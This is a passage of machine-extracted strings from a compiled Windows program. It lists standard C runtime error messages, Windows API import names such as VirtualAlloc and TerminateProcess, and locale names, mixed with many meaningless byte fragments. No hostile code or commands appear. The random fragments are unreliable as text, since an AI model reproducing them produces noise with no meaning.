SetTextColor
SetUnhandledExceptionFilter
SetWindowTextA
ShowWindow
SING error
slovak
south africa
south-africa
south korea
south-korea
spanish-argentina
spanish-bolivia
spanish-chile
spanish-colombia
spanish-costa rica
spanish-dominican republic
spanish-ecuador
spanish-el salvador
spanish-guatemala
spanish-honduras
spanish-mexican
spanish-modern
spanish-nicaragua
spanish-panama
spanish-paraguay
spanish-peru
spanish-puerto rico
spanish-uruguay
spanish-venezuela
SQSSSh
SQZy+N
SRUQWP
s[S;7|G;w
\$ SSSh
SSSh0}C
SSSh`7E
SSShP}F
^SSSSS
__stdcall
`string'
string too long
Sunday
SunMonTueWedThuFriSat
sv%@8{
swedish-finland
SystemRoot
;|$$t	
\$ ;\$(t
\$$<=t
t$0WPR
T$4jlR
T$4RSVP
t6SSSh
T7GzW	
t89\$Hu
T$8GWR
T$8RSVP
\$T9|$
t$(9\$L
ta[pVJ
tDh(PK
T$DSSj
TerminateProcess
t=FA9]
t	G;|$
tGHt.Ht&
(</t$h<
+t HHt
This application has requested the Runtime to terminate it in an unusual way.
__thiscall
This indicates a bug in your application.
This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
!This program cannot be run in DOS mode.
t$HSIV
Thursday
tIj"[:
tKB$H_*
< tK<	tG
tlC":6S2
t+lF:`K#
TLOSS error
T$LRWSj
TlsAlloc
TlsFree
TlsGetValue
TlsSetValue
<\tM</tI
tnj7h`
to1c:8
T$|PSQRWV
t$PWPh 
:T qn"
tR99u2
trinidad & tobago
T$,Rj$
T$,RPj
T$ RPPj
T$,RPW
t$(RQPV
T$|RSj0V
T$,RVP
T$$RWUV
t"SS9]
t-SSSh
t)SSSh
T$(SU3
<+t(<-t$:
\$tt#j(h
T$TRPW
T$TRPWVV
T$TRVWSS
\$$t:U
t$<"u	3
t"UAGN
Tuesday
;t$,v-
t VV9u
t+WWVPV
T$X_^[
t$Xj4Rf
T$xPWQRV
T$XRPPj
T$XRSh
T$xVSQR
 Type Descriptor'
`typeof'
TzM{*"d=
TzUO'|
^u0y//t
u*:1*TnT
U$	&\4
>:u8FV
uajGhh
#uBe083>N
uCE0~q
`udt returning'
uInAO'
u[j	h`
u+j	hx
&UL!bL
- unable to initialize heap
- unable to open console device
__unaligned
- unexpected heap error
- unexpected multithread lock error
UnhandledExceptionFilter
UNICODE
united-kingdom
united-states
Unknown exception
+u"PgK6
UPUUUh
UQPXY]Y[
uqSSSSS
URPQQh(xI
USER32.dll
USER32.DLL
u[SSSP
{	{UsZt
UTF-16LE
u,VVWV
|v2<_`
V:$>66
v~9~@R
va:rq^
}Vb28+1
`vbase destructor'
`vbtable'
`vcall'
`vector constructor iterator'
`vector copy constructor iterator'
`vector deleting destructor'
`vector destructor iterator'
`vector vbase constructor iterator'
`vector vbase copy constructor iterator'
Ve-X.\
vExz{~
`vftable'
V;%ftF
<=vG<>u"
vHQ\B)
VirtualAlloc
`virtual displacement map'
VirtualFree
v] _"N
v	N+D$
v/.p;E.
VSSSSSRSj
V{;U%H
<=vU<>u0
VVPh0zF
VVQh0zF
_VVVVV
VVVVVQRSSj
|$$VWf
|$,VWS
(vXrF[
WaitForSingleObject
Wednesday
WideCharToMultiByte
|$$Wj"
_wKgoo
[&WqH(
W@Qz:Nhg
WriteConsoleA
WriteConsoleW
WriteFile
Wt^_9	N
^WWWWW
,X{<?3
x~6+9G
XguWW^
xH`CmvZe
xHUAAMG"
xppwpp
xpxxxx
<xtX<XtT
\$XUWf
X*v(aA1
X-@!YxkQIX
~$_^]Y
Y,(5MI
y6j[{v2
Y;=8.M
'yFc{<
^>ygo+#
y']MSc
YQ9c=&
>=Yt1j
Y<\u#j\V
z3!R)X@
z`&A~]
zFOK=#
,(Zf_Q
zH.V3$
Z&jh/[H